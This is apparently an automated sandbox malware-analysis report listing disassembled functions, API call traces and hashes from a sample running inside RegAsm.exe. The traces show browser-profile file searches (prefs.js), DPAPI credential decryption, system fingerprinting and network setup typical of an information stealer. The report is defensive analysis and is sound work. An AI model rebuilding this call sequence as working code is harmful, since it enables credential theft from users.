Part of subcall function 0040618B: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216

Part of subcall function 00414437: Sleep.KERNEL32(000003E8,?,?,?,?,?,00000000), ref: 004144C0

Strings

7, xrefs: 00401BA9
\*.*, xrefs: 004012AF

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prolog$Find$lstrcpy$Close$CreateFirstLocalNextlstrcat$AllocAttributesFolderFreeHandleObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: 7$\*.*
API String ID: 40499504-4165053604
Opcode ID: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction ID: 8097af2253b6e43ffd1ff437b79a581fef85e219c3474a36129b1183f2ad689d
Opcode Fuzzy Hash: 2415c5a552409a1327100fa76e5c65bacbb48c19f6e4dd66bfc40bef1be4ee54
Instruction Fuzzy Hash: 04624D70904188EADB15EBE5C955BDDBBB8AF29308F5040BEA509735C2DF781B4CCB25

Function 0040B463 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 311fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040B468

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425F10,?,?,00425BEF,?,00000000,?), ref: 0040B4E7
StrCmpCA.SHLWAPI(?,00425F14,?,00000000,?), ref: 0040B50B
StrCmpCA.SHLWAPI(?,00425F18,?,00000000,?), ref: 0040B525
StrCmpCA.SHLWAPI(?,prefs.js,00000000,?,?,?,00425F1C,?,?,00425BF2,?,00000000,?), ref: 0040B5C1

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426440,00000001,000000C8,00000000,00426562), ref: 00410BA1

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425F2C,?,?,00000000,00425BF3,?,00000000,?), ref: 0040B6C6
DeleteFileA.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040B79B
FindNextFileA.KERNELBASE(?,?,?,00000000,?), ref: 0040B84A
FindClose.KERNEL32(?,?,00000000,?), ref: 0040B85B

Strings

prefs.js, xrefs: 0040B5B5

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileH_prologlstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 2318033617-3783873740
Opcode ID: 5d5855e90322f171bdcc3e902ad36419314a4be2ab95842e86b6b9ed6f14b737
Instruction ID: ee987ab292ce5c8f0602a9b5561e4dc2d57f8a603593be12f89c118a2121006c
Opcode Fuzzy Hash: 5d5855e90322f171bdcc3e902ad36419314a4be2ab95842e86b6b9ed6f14b737
Instruction Fuzzy Hash: D5D18471900248EADB14EBE5C956BDDBBB4AF19304F5040BEE409B36C2DB785B4CCB66

Function 004094E5 Relevance: 15.3, APIs: 10, Instructions: 301fileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004094EA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

FindFirstFileA.KERNEL32(00000000,?,00000000,?,00425DC4,?,?,00425BA2,?), ref: 00409567
StrCmpCA.SHLWAPI(?,00425DC8), ref: 00409584
StrCmpCA.SHLWAPI(?,00425DCC), ref: 0040959E
StrCmpCA.SHLWAPI(?,00000000,?,?,?,00425DD0,?,?,00425BA3), ref: 00409635
StrCmpCA.SHLWAPI(?), ref: 004096B6

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00408759: _EH_prolog.MSVCRT ref: 0040875E
Part of subcall function 00408759: CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00425D70,?,?,?,00425B92,00000000), ref: 00408841

FindNextFileA.KERNELBASE(00000000,?), ref: 0040989F
FindClose.KERNEL32(00000000), ref: 004098AE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 322284088-0
Opcode ID: c7d6cc988ba782d8cbd6a4dc9e280d496fe71cb906df9d5859f326619e4a8ed7
Instruction ID: 4c01649d4d81a67c5449674785cae23a0a495e6994ebb05e8901edf346d892d0
Opcode Fuzzy Hash: c7d6cc988ba782d8cbd6a4dc9e280d496fe71cb906df9d5859f326619e4a8ed7
Instruction Fuzzy Hash: 23C17270900249EADF10EBA5C9167DDBFB8AF09304F10417EE844B36C2DB785B08CBA6

Function 0040FCE5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FCEA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

GetKeyboardLayoutList.USER32(00000000,00000000,00426257,00000001,?,00000000), ref: 0040FD1C
LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040FD2A
GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040FD35
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040FD5F

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426AC0,?,00000000,0042656F), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

LocalFree.KERNEL32(?), ref: 0040FE03

Strings

/ , xrefs: 0040FD6D

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$H_prologKeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 2868853201-4001269591
Opcode ID: 2eab95dacd1e64dbfb91623fc5bd3e6636dc749e560b48b740839b7e56384bd9
Instruction ID: 9e35c1e063a1b5006514c6e45779cb792778230f9907b47db8c95fc1ce32a63e
Opcode Fuzzy Hash: 2eab95dacd1e64dbfb91623fc5bd3e6636dc749e560b48b740839b7e56384bd9
Instruction Fuzzy Hash: 5831EDB1901119EFDB10EFE5D885AEEB7B9EF48304F54407EE509B3681C7785A88CB64

Function 004106C4 Relevance: 9.1, APIs: 6, Instructions: 67commemoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004106C9
CoCreateInstance.OLE32(00426D04,00000000,00000001,00426430,?,00000001,00000000,00000000,00000001,?,00000000), ref: 004106F0
SysAllocString.OLEAUT32(?), ref: 004106FD
_wtoi64.MSVCRT ref: 00410738
SysFreeString.OLEAUT32(?), ref: 0041074B
SysFreeString.OLEAUT32(00000000), ref: 00410752

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prologInstance_wtoi64
String ID:
API String ID: 1816492551-0
Opcode ID: 5750feebd910b0a32989819942fd3773d09ff2150041d9a27e94e8ef07c9ed3d
Instruction ID: 59f670c4249691ef4ccd63b580fd690aab74e6bff6ef209727d5cda1ca9931c7
Opcode Fuzzy Hash: 5750feebd910b0a32989819942fd3773d09ff2150041d9a27e94e8ef07c9ed3d
Instruction Fuzzy Hash: ED21A571A00109AFCB00DFA4DD889EE7BB5FF88304B60846EF515E7250C7B59D85CB64

Function 004111BE Relevance: 9.0, APIs: 6, Instructions: 45processCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004111C3
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004111E9
Process32First.KERNEL32(00000000,00000128), ref: 004111F9
Process32Next.KERNEL32(00000000,00000128), ref: 0041120B
StrCmpCA.SHLWAPI(?,?,?,?,00000000), ref: 0041121F
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 00411232

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prologHandleNextSnapshotToolhelp32
String ID:
API String ID: 186290926-0
Opcode ID: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction ID: 368edb313bfa2f31f76f5ba6fbd020b911e3fe3703e22c74ac1c99050383bae8
Opcode Fuzzy Hash: a9f169bdbb2cdc4e9d02c35b7c1d11867838652ed038367759a7d765107c7668
Instruction Fuzzy Hash: 56015A71900028AFDB119F95DD48ADEBBB9EF86300F204096F505F2220D7788F84CFA5

Function 00410DAC Relevance: 6.1, APIs: 4, Instructions: 53memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410DD0
GetProcessHeap.KERNEL32(00000000,?,?,00404415,?,?,?,?,?,?), ref: 00410DDD
RtlAllocateHeap.NTDLL(00000000,?,00404415,?,?,?,?,?,?), ref: 00410DE4

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocateBinaryCryptProcessString
String ID:
API String ID: 869800140-0
Opcode ID: ad0991718ef18b2bf8ef03264dcc82093b956574455e5d0286dcdbe0f337aa8f
Instruction ID: 533e96b164cb0d967d7948213eb188af149c3bb85dd902e70f95414ccdf186b2
Opcode Fuzzy Hash: ad0991718ef18b2bf8ef03264dcc82093b956574455e5d0286dcdbe0f337aa8f
Instruction Fuzzy Hash: C2016931500209FFDF118FA5EC449EBBBAEFF4A350B104429F90193210D7759C91EB60

Function 0040FC92 Relevance: 6.0, APIs: 4, Instructions: 29memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ), ref: 0040FCA3
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCAA
GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,004265FC,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCB9
wsprintfA.USER32 ref: 0040FCD7

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 8433f4d383a38eb6f244c74d11323a05115bf9a3e49eb4d70838d4eb9b5bf1c5
Instruction ID: 6938abab0ccb62d13e48435ff1e3c4824b48db837a677b598a72c4a0a60eb356
Opcode Fuzzy Hash: 8433f4d383a38eb6f244c74d11323a05115bf9a3e49eb4d70838d4eb9b5bf1c5
Instruction Fuzzy Hash: 28E09271704234FBEB1067A8AC0EF873A6EAB06725F111262FA16D21D0E6B4990487E5

Function 004062A5 Relevance: 4.5, APIs: 3, Instructions: 46memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 004062C8
LocalAlloc.KERNEL32(00000040,?,?), ref: 004062E0
LocalFree.KERNEL32(?), ref: 004062FE

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction ID: e950b9794f619c2f14945d92c2c82b9cfbc0e84929ee7baf067997c9d55b3a17
Opcode Fuzzy Hash: a1298b6901399f3ed61b1a780a28c5a3d32356ff32a82b06ef3c757afecfb89f
Instruction Fuzzy Hash: 38011D7A900218AFDB01EFE8DC849DEBBBDFF48700B10046AFA42E7250D6759950CB50

Function 0040FBCB Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00417274,0042656F), ref: 0040FBD7
HeapAlloc.KERNEL32(00000000,?,?,?,00417274,0042656F), ref: 0040FBDE
GetUserNameA.ADVAPI32(00000000,?), ref: 0040FBF2

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 669fae420ee6eb1cdbbca0cf155bea1fe1a262ab4713cf9ebff3bc65d35779fa
Instruction ID: 717baa134c2685402ab052e767e48c87ea90d479ce835390d18d57d128390497
Opcode Fuzzy Hash: 669fae420ee6eb1cdbbca0cf155bea1fe1a262ab4713cf9ebff3bc65d35779fa
Instruction Fuzzy Hash: 90D05EB6700204FBE7109BA5DE0DE9BBBBCEB84755F400166FB02D2290DAF09A05CA34

Function 0040FE81 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00000000), ref: 0040FE8E
wsprintfA.USER32 ref: 0040FEA3

Memory Dump Source

Source File: 00000002.00000002.2467141925.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2467141925.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2467141925.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: c7e76a4fa3a2ea8111dc81b94c6d332c4cfbbd316f018eaed08d2660ea58f4df
Instruction ID: b1842167c7914b1f8d9f117d359a82b64b5a8af33c7a831c26c3fc120f750992
Opcode Fuzzy Hash: c7e76a4fa3a2ea8111dc81b94c6d332c4cfbbd316f018eaed08d2660ea58f4df
Instruction Fuzzy Hash: A6D067B5D0011DDBCF10EBA4ED89A8977BDAB04608F4045A1AB05F2190E675A61E8BE9

Function 004043AD Relevance: 74.3, APIs: 26, Strings: 16, Instructions: 764
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 004043B2

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

lstrlenA.KERNEL32(00000000), ref: 00404421

Part of subcall function 00410DAC: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410DD0
Part of subcall function 00410DAC: GetProcessHeap.KERNEL32(00000000,?,?,00404415,?,?,?,?,?,?), ref: 00410DDD
Part of subcall function 00410DAC: RtlAllocateHeap.NTDLL(00000000,?,00404415,?,?,?,?,?,?), ref: 00410DE4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(?,00425987,00425983,0042597B,00425977,00425976), ref: 004044A4
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004044C4
